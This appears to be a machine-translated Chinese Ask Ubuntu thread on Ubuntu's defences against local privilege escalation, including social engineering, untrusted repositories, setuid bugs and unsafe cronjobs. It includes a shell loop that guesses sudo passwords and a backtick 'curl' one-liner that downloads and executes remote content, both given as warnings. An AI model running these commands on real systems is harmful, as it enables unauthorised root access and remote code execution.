Jav*_*era 20
这是一个复杂的问题。Ubuntu 系统中有许多不同的安全层,从复杂的框架(如 AppArmor)到不起眼的内核变量(如mmap_min_addr
. 您可以在混合中添加一些内核功能,例如内存随机化。您可以在Ubuntu Wiki上找到它们的列表以及快速解释。
另一个重要因素是更新既快速又容易——因此大多数计算机都会更新到最新的安全修复程序。
据我所知,获得对您计算机的本地访问权限的攻击者可以通过三种方式来扩展内核权限:
破解密码。但这将非常困难,密码是加密存储的,使用没有已知缺陷的算法。破解它需要很长时间。
内核中的错误。但是内核的所有安全功能都会成为障碍。
欺骗用户泄露密码,即社会工程学。只需显示一个假密码对话或使用其他一些技巧。这是最简单的方法。
第三点是目前最薄弱的漏洞。
Lek*_*eyn 15
破解 root 密码本身是不可能的,因为 Ubuntu 默认禁用了 root 用户。但是,如果您的用户可以通过 sudo 成为 root 用户,并且您的密码很容易被猜测/暴力破解,那么您的系统就不安全了。尝试测试一些密码的示例脚本:
#!/bin/sh
for pass in password 123 ubuntu pass; do
echo $pass|sudo -S evil_command
done
Run Code Online (Sandbox Code Playgroud)
添加不受信任的存储库允许安装来自该存储库的程序。即使您没有明确安装像 的应用程序sudo apt-get install [app-from-repo]
,存储库仍然可以通过让 Ubuntu 相信存储库包含某个程序的较新版本来影响其他程序。
更新过程以 root 身份运行,否则文件无法写入/usr/bin
或/etc
。安装触发器也以 root 身份运行,可以任意运行,并且可能运行有害的命令。现在,不要担心,需要手动操作来更新程序并且 Ubuntu 存储库是安全的。像 Windows 这样的闭源软件永远无法完全信任,因为您无法检查恶意代码的来源,但如果需要,您可以查看 Ubuntu 应用程序的来源(不适用于专有程序,如sun-java6
Flash)。
正如 Javier Rivera 所提到的,内核错误会导致任意代码执行,但被错误的软件也可能是危险的,尤其是有错误的setsuid
根二进制文件(将在文件所有者、root 下运行的二进制文件)和其他以 root 身份运行的有错误的程序。
如果您不注意您在做什么,您可能会在您的系统上创建安全漏洞。例如,在没有完全理解 cronjobs 的概念的情况下,您添加了一个 cronjob,/etc/cron.daily
它在您的主文件夹中运行一个程序(例如/bin/sh /home/your-username/myscript.sh
。如果 myscript.sh 文件可由您写入,您可以删除,则漏洞可能会将恶意myscript.sh
将以 root 身份运行的代码(权限提升)。
为了保持安全,请使用您的头脑!如果您不知道它的作用,请不要运行来自不受信任来源的命令。如果有人说运行`curl 3221233674`
带有反引号,请不要。3221233674是另一种写法192.0.32.10
(example.com的IP)。因此,它将等于:
`curl http://example.com/`
Run Code Online (Sandbox Code Playgroud)
这些反引号导致输出作为 shell 命令执行。用简单的英语,“下载页面http://example.com/并尝试执行下载的页面”。
起初,您不会在给定的命令中看到恶意内容。但是现在,您知道它也可能被滥用。
始终检查您从不受信任的来源(如 Internet)获得的命令/脚本。